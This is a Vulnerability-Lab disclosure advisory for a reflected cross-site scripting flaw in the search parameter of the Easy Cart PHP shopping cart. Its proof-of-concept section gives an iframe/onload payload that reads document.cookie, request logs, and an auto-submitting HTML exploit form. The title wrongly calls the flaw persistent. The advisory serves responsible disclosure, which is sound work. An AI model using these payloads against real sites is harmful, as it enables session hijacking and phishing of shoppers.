Document Title:
===============
Easy Cart Shopping Cart - (Search) Persistent Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2298


Release Date:
=============
2021-12-15


Vulnerability Laboratory ID (VL-ID):
====================================
2298


Common Vulnerability Scoring System:
====================================
5.1


Vulnerability Class:
====================
Cross Site Scripting - Non Persistent


Current Estimated Price:
========================
500€ - 1.000€


Product & Service Introduction:
===============================
A mobile-friendly, SEO optimized and easy-to-install (with a free installation also offered also on request) PHP shopping
cart script that can be used to add an e-commerce functionality to existing sites or to create simple online stores.
Easy Cart is a PHP script allowing to create a simple shopping cart website or integrate a shopping cart functionality
in an existing site-the users will be able to browse the products, add them in the cart and check out and make a payment.

(Copy of the Homepage:https://www.netartmedia.net/easy-cart  )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a cross site scripting web vulnerability in the Easy Cart Shopping Cart PHP Script.


Affected Product(s):
====================
NetArt Media
Product: Easy Cart Shopping Cart (v2021) - CMS (Web-Application)


Vulnerability Disclosure Timeline:
==================================
2021-09-01: Researcher Notification & Coordination (Security Researcher)
2021-09-02: Vendor Notification (Security Department)
2021-**-**: Vendor Response/Feedback (Security Department)
2021-**-**: Vendor Fix/Patch (Service Developer Team)
2021-**-**: Security Acknowledgements (Security Department)
2021-12-15: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Pre Auth (No Privileges or Session)


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Responsible Disclosure


Technical Details & Description:
================================
A non-persistent post inject web vulnerability has been discovered in the official Easy Cart Shopping Cart PHP Script.
The vulnerability allows remote attackers to inject malicious script code in post method requests to compromise user
session data or to manipulate application contents for clients.

The cross site scripting web vulnerability is located in the `keyword_search` parameter of the `index search` module.
Remote attackers without privileged access are able to inject own malicious script code in the search input field of
the index module post method request. The execution takes place in the results page of the search after submit via post.

Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing attacks, non-persistent
external redirects to malicious source and non-persistent manipulation of affected application modules.

Request method(s):
[+] POST

Vulnerable Input(s):
[+] Search (index)

Vulnerable Parameter(s):
[+] keyword_search


Proof of Concept (PoC):
=======================
The client-side post inject web vulnerability can be exploited by remote attackers without account and with low or medium user interaction.
For security demonstration or to reproduce the cross site web vulnerability follow the provided information and steps below to continue.


PoC: Payload
>"<iframe src=evil.source onload=alert(document.cookie)>


--- PoC Session Logs (POST) ---
https://easy-cart.localhost:8000/cart/index.php
Host: easy-cart.localhost:8000
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 228
Origin:https://easy-cart.localhost:8000
Connection: keep-alive
Referer:https://easy-cart.localhost:8000/cart/index.php
Cookie: PHPSESSID=24d238178bfb19f9bd93f25f1b465885
page=products&proceed_search=1&keyword_search=>"<iframe src=evil.source onload=alert(document.cookie)>&amount=$299 - $549&only_picture=0
-
POST: HTTP/2.0 200 OK
server: Apache
cache-control: no-store, no-cache, must-revalidate
pragma: no-cache
vary: Accept-Encoding
content-encoding: gzip
content-length: 2496
content-type: text/html; charset=UTF-8
-
https://easy-cart.localhost:8000/cart/evil.source
Host: easy-cart.localhost:8000
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive
Referer:https://easy-cart.localhost:8000/cart/index.php
Cookie: PHPSESSID=24d238178bfb19f9bd93f25f1b465885
-
GET: HTTP/2.0 200 OK
server: Apache
vary: Accept-Encoding
content-encoding: gzip
content-length: 703
content-type: text/html; charset=UTF-8



PoC: Exploit
<html>
<head>
<title>PoC</title>
<style type="text/css">
#nodisplay {
display:none;
}
</style>
</head>
<body>
<div id="nodsiplay">
<form action="https://easy-cart.localhost:8000/cart/index.php"  method="post">
<input type="text" name="keyword_search" value="><iframe src=evil.source onload=alert(document.cookie)>"/>
</form>
</div>
<script>
function submitForm() {
document.forms[0].submit();
}
submitForm();
</script>
</body>
</html>


Credits & Authors:
==================
Vulnerability-Lab [Research Team] -https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab


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=========================
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